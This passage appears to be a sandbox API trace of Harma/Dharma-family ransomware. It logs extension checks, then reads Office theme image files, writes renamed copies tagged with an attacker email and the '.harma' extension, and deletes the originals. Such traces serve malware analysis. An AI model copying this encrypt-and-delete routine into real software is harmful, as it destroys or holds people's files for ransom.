Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.337] lstrlenW (lpString=".doc") returned 4 [0059.337] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.337] lstrlenW (lpString=".docx") returned 5 [0059.337] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.337] lstrlenW (lpString=".pdf") returned 4 [0059.337] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.337] lstrlenW (lpString=".xls") returned 4 [0059.337] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.337] lstrlenW (lpString=".xlsx") returned 5 [0059.337] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.337] lstrlenW (lpString=".ppt") returned 4 [0059.337] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.337] lstrlenW (lpString=".zip") returned 4 [0059.337] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.337] lstrlenW (lpString=".rar") returned 4 [0059.337] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.337] lstrlenW (lpString=".bz2") returned 4 [0059.337] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.337] lstrlenW (lpString=".7z") returned 3 [0059.337] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.337] lstrlenW (lpString=".dbf") returned 4 [0059.337] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.337] lstrlenW (lpString=".1cd") returned 4 [0059.338] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.338] lstrlenW (lpString=".jpg") returned 4 [0059.338] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.338] lstrlenW (lpString=".doc") returned 4 [0059.338] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.338] lstrlenW (lpString=".docx") returned 5 [0059.338] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.338] lstrlenW (lpString=".pdf") returned 4 [0059.338] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.338] lstrlenW (lpString=".xls") returned 4 [0059.338] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.338] lstrlenW (lpString=".xlsx") returned 5 [0059.338] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.338] lstrlenW (lpString=".ppt") returned 4 [0059.338] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.338] lstrlenW (lpString=".zip") returned 4 [0059.338] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.338] lstrlenW (lpString=".rar") returned 4 [0059.338] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.338] lstrlenW (lpString=".bz2") returned 4 [0059.338] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.338] lstrlenW (lpString=".7z") returned 3 [0059.338] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.338] lstrlenW (lpString=".dbf") returned 4 [0059.338] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.339] lstrlenW (lpString=".1cd") returned 4 [0059.339] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0059.339] lstrlenW (lpString=".jpg") returned 4 [0059.339] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.339] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.339] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.339] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=33559) returned 1 [0059.339] CloseHandle (hObject=0x214) returned 1 [0059.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0059.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.340] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.340] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0059.340] GetLastError () returned 0x0 [0059.340] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x8317, lpOverlapped=0x0) returned 1 [0059.342] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0059.344] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.344] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.344] SetEndOfFile (hFile=0x1d0) returned 1 [0059.344] CloseHandle (hObject=0x1d0) returned 1 [0059.344] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.344] SetEndOfFile (hFile=0x214) returned 1 [0059.345] CloseHandle (hObject=0x214) returned 1 [0059.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.345] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0059.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.346] lstrlenW (lpString=".doc") returned 4 [0059.346] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.346] lstrlenW (lpString=".docx") returned 5 [0059.346] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.346] lstrlenW (lpString=".pdf") returned 4 [0059.346] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.346] lstrlenW (lpString=".xls") returned 4 [0059.346] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.346] lstrlenW (lpString=".xlsx") returned 5 [0059.346] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.346] lstrlenW (lpString=".ppt") returned 4 [0059.346] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.346] lstrlenW (lpString=".zip") returned 4 [0059.346] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.346] lstrlenW (lpString=".rar") returned 4 [0059.346] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.346] lstrlenW (lpString=".bz2") returned 4 [0059.346] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.346] lstrlenW (lpString=".7z") returned 3 [0059.346] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.346] lstrlenW (lpString=".dbf") returned 4 [0059.346] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.346] lstrlenW (lpString=".1cd") returned 4 [0059.346] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.346] lstrlenW (lpString=".jpg") returned 4 [0059.346] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.347] lstrlenW (lpString=".doc") returned 4 [0059.347] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.347] lstrlenW (lpString=".docx") returned 5 [0059.347] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.347] lstrlenW (lpString=".pdf") returned 4 [0059.347] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.347] lstrlenW (lpString=".xls") returned 4 [0059.347] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.347] lstrlenW (lpString=".xlsx") returned 5 [0059.347] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.347] lstrlenW (lpString=".ppt") returned 4 [0059.347] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.347] lstrlenW (lpString=".zip") returned 4 [0059.347] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.347] lstrlenW (lpString=".rar") returned 4 [0059.347] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.347] lstrlenW (lpString=".bz2") returned 4 [0059.347] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.347] lstrlenW (lpString=".7z") returned 3 [0059.347] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.347] lstrlenW (lpString=".dbf") returned 4 [0059.347] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.347] lstrlenW (lpString=".1cd") returned 4 [0059.347] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0059.347] lstrlenW (lpString=".jpg") returned 4 [0059.348] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.348] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0059.348] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0059.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.348] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2476) returned 1 [0059.348] CloseHandle (hObject=0x214) returned 1 [0059.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0059.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.349] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.349] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0059.350] GetLastError () returned 0x0 [0059.350] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0059.352] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0059.353] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.353] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0059.353] SetEndOfFile (hFile=0x1d0) returned 1 [0059.353] CloseHandle (hObject=0x1d0) returned 1 [0059.353] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.354] SetEndOfFile (hFile=0x214) returned 1 [0059.354] CloseHandle (hObject=0x214) returned 1 [0059.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.355] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0059.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.355] lstrlenW (lpString=".doc") returned 4 [0059.355] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.355] lstrlenW (lpString=".docx") returned 5 [0059.355] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.355] lstrlenW (lpString=".pdf") returned 4 [0059.355] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.355] lstrlenW (lpString=".xls") returned 4 [0059.355] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.355] lstrlenW (lpString=".xlsx") returned 5 [0059.355] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.355] lstrlenW (lpString=".ppt") returned 4 [0059.355] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.355] lstrlenW (lpString=".zip") returned 4 [0059.355] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.355] lstrlenW (lpString=".rar") returned 4 [0059.355] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.355] lstrlenW (lpString=".bz2") returned 4 [0059.355] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.356] lstrlenW (lpString=".7z") returned 3 [0059.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.356] lstrlenW (lpString=".dbf") returned 4 [0059.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.356] lstrlenW (lpString=".1cd") returned 4 [0059.356] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.356] lstrlenW (lpString=".jpg") returned 4 [0059.356] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.356] lstrlenW (lpString=".doc") returned 4 [0059.356] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0059.356] lstrlenW (lpString=".docx") returned 5 [0059.356] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0059.356] lstrlenW (lpString=".pdf") returned 4 [0059.356] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0059.356] lstrlenW (lpString=".xls") returned 4 [0059.356] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0059.356] lstrlenW (lpString=".xlsx") returned 5 [0059.356] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0059.356] lstrlenW (lpString=".ppt") returned 4 [0059.356] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0059.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.356] lstrlenW (lpString=".zip") returned 4 [0059.356] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0059.356] lstrlenW (lpString=".rar") returned 4 [0059.356] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0059.357] lstrlenW (lpString=".bz2") returned 4 [0059.357] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0059.357] lstrlenW (lpString=".7z") returned 3 [0059.357] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0059.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.357] lstrlenW (lpString=".dbf") returned 4 [0059.357] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0059.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.357] lstrlenW (lpString=".1cd") returned 4 [0059.357] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0059.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0059.357] lstrlenW (lpString=".jpg") returned 4 [0059.357] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0059.357] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.357] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.357] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=19485) returned 1 [0059.358] CloseHandle (hObject=0x214) returned 1 [0059.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0059.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.358] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.358] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0059.358] GetLastError () returned 0x0 [0059.358] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0059.639] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0059.641] ReadFile (in: hFile=0x214, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.641] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.641] SetEndOfFile (hFile=0x1d0) returned 1 [0059.641] CloseHandle (hObject=0x1d0) returned 1 [0059.641] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.641] SetEndOfFile (hFile=0x214) returned 1 [0059.642] CloseHandle (hObject=0x214) returned 1 [0059.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.643] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0059.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.643] lstrlenW (lpString=".doc") 